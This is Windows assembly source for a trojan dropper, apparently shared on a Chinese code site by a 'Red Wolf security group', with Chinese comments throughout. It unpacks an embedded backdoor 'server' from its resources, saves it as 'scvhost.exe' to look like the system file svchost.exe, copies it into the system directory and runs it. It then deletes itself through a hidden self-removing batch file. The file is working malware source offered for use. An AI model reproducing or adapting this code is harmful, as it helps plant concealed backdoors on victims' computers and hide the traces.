📄 systemserice.asm
字号:
;******************************************************
;程序编写by Asm
;日期:2007-4-10日
;出处:http://www.wolfexp.net/(红狼安全小组)
;注意事项:如欲转载,请保持本程序的完整,并注明:
;转载自 红狼安全小组(http://www.wolfexp.net/)
;
;特别说明,这里程序自删除采用了罗聪大牛的代码,特此感谢。
;******************************************************
.386
.model flat, stdcall
option casemap :none
include windows.inc
include kernel32.inc
include advapi32.inc
include user32.inc
includelib kernel32.lib
includelib advapi32.lib
includelib user32.lib
include shell32.inc
includelib shell32.lib
include macros.inc
doorForshell equ 1001 ;资源ID
.data?
szCurrent db 1024 dup(?)
szCurrentFile db 1024 dup(?)
szSystem1 db 1024 dup(?)
szBuff db 1024 dup(?)
szNameof db 156 dup(?)
sz1 db 156 dup(?)
.code
_GetDoor proc
LOCAL hRsrc:DWORD
LOCAL hResData:DWORD
LOCAL dwSize:DWORD
LOCAL dwSizeWritten:DWORD
LOCAL lpData:DWORD
LOCAL lpRes:DWORD
LOCAL hFile:DWORD
invoke FindResource,NULL,doorForshell,RT_RCDATA;查找资源
mov hRsrc,eax
invoke SizeofResource,NULL,hRsrc;获取资源长度
mov dwSize,eax
invoke LoadResource,NULL,hRsrc;装载资源
mov hResData,eax
invoke GlobalAlloc,GPTR,dwSize;给数据分配内存
mov lpData,eax
invoke LockResource,hResData;锁定它
mov lpRes,eax
invoke GetCurrentDirectory,200,addr szNameof;获取当前目录
invoke lstrcat,addr sz1,addr szNameof
invoke lstrcat,addr sz1,CTXT("\scvhost.exe");串联完整程序名
invoke CreateFile,offset sz1,GENERIC_WRITE,FILE_SHARE_READ,\
NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL ;打开程序
.if eax != NULL
mov hFile,eax
invoke WriteFile,hFile,lpRes,dwSize,addr dwSizeWritten,NULL;创建我们的后门以便执行
invoke CloseHandle,hRsrc
invoke CloseHandle,hResData
invoke CloseHandle,hFile
invoke GlobalFree,lpData
.endif
ret
_GetDoor endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DeleteExecutableBF proc
LOCAL hFile :DWORD
LOCAL len :DWORD
LOCAL hHeap :DWORD
LOCAL pszUnsetupPathname :DWORD
LOCAL pszUnsetupPath :DWORD
LOCAL pszBatFilePathname :DWORD
LOCAL pBatFile :DWORD
jmp nextcode
szBatFileName BYTE "DelUS.bat", 0
szOpen BYTE "open", 0
szBKSlash BYTE "\", 0
L1 BYTE ":Repeat", 13, 10, 0
L2A BYTE "del """, 0
L2B BYTE """", 0
L3A BYTE 13, 10, "if exist """, 0
L3B BYTE """ goto Repeat", 13, 10, 0
L4 BYTE "rmdir """, 0
L5 BYTE """",13, 10, "del """, 0
L6 BYTE """",13, 10, 0
nextcode:
; 为字符串分配堆:
invoke GetProcessHeap
mov hHeap, eax
invoke HeapAlloc, hHeap, NULL, 4 * MAX_PATH + 1000
mov pszUnsetupPath, eax
add eax, MAX_PATH
mov pszUnsetupPath, eax
add eax, MAX_PATH
mov pszUnsetupPathname, eax
add eax, MAX_PATH
mov pszBatFilePathname, eax
add eax, MAX_PATH
mov pBatFile, eax
; 创建一个批处理文件,用于删除我们的exe文件。当exe文件被删除后,这个批处理文件会自动删除自己,以及它所在的目录。
; 得到 temp 目录的路径:
invoke GetTempPath, MAX_PATH, pszBatFilePathname
invoke lstrcat, pszBatFilePathname, addr szBatFileName
invoke CreateFile, pszBatFilePathname, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL or FILE_FLAG_SEQUENTIAL_SCAN, NULL
mov hFile, eax
.if (hFile != INVALID_HANDLE_VALUE)
; 得到我们的 exe 文件的全路径(包括文件名):
invoke GetModuleFileName, NULL, pszUnsetupPathname, MAX_PATH
; 得到我们的 exe 文件的路径(不包括文件名):
invoke lstrcpy, pszUnsetupPath, pszUnsetupPathname
; 找到路径最后的 ’\’ 并把它改成0
mov edx, pszUnsetupPath
mov ecx, edx
.repeat
mov al, byte ptr [edx]
.if al == 92 ; "\"
mov ecx, edx
.endif
inc edx
.until al == 0
mov byte ptr [ecx+1], 0
; Bat 文件的内容:
; :Repeat
; del "C:\Win95ADG\DelSelf.exe"
; if exist "DelSelf.exe" goto Repeat
; rmdir "C:\Win95ADG"
; del "c:\%temppath%\DelUS.bat"
invoke lstrcat, pBatFile, addr L1
invoke lstrcat, pBatFile, addr L2A
invoke lstrcat, pBatFile, pszUnsetupPathname
invoke lstrcat, pBatFile, addr L2B
invoke lstrcat, pBatFile, addr L3A
invoke lstrcat, pBatFile, pszUnsetupPathname
invoke lstrcat, pBatFile, addr L3B
invoke lstrcat, pBatFile, addr L4
invoke lstrcat, pBatFile, pszUnsetupPath
invoke lstrcat, pBatFile, addr L5
invoke lstrcat, pBatFile, pszBatFilePathname
invoke lstrcat, pBatFile, addr L6
; 创建 bat 文件:
invoke lstrlen, pBatFile
mov len, eax
invoke WriteFile, hFile, pBatFile, len, addr len, NULL
invoke CloseHandle, hFile
; 现在在后台执行我们的 bat 文件:
invoke ShellExecute, NULL, addr szOpen, pszBatFilePathname, NULL, NULL, SW_HIDE
.endif
; 释放堆:
invoke HeapFree, hHeap, NULL, pszUnsetupPath
return:
; 结束啦!
ret
DeleteExecutableBF endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
call _GetDoor;到系统目录后开始释放木马文件
invoke GetCurrentDirectory,200,addr szCurrent
invoke lstrcat,addr szCurrentFile,addr szCurrent
invoke lstrcat,addr szCurrentFile,CTXT("\scvhost.exe")
invoke GetSystemDirectory,addr szSystem1,200;获得系统目录
invoke lstrcat,addr szBuff,addr szSystem1
invoke lstrcat,addr szBuff,CTXT("\scvhost.exe")
invoke CopyFile,addr szCurrentFile,addr szBuff,FALSE;把服务端复制到系统目录
invoke ShellExecute,0,0,addr szBuff,0,0,SW_SHOW;执行服务端
invoke DeleteFile,addr szCurrentFile;删除原先服务端
invoke Sleep,1000;休眠
invoke DeleteExecutableBF;自删除
invoke ExitProcess,NULL
end start
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -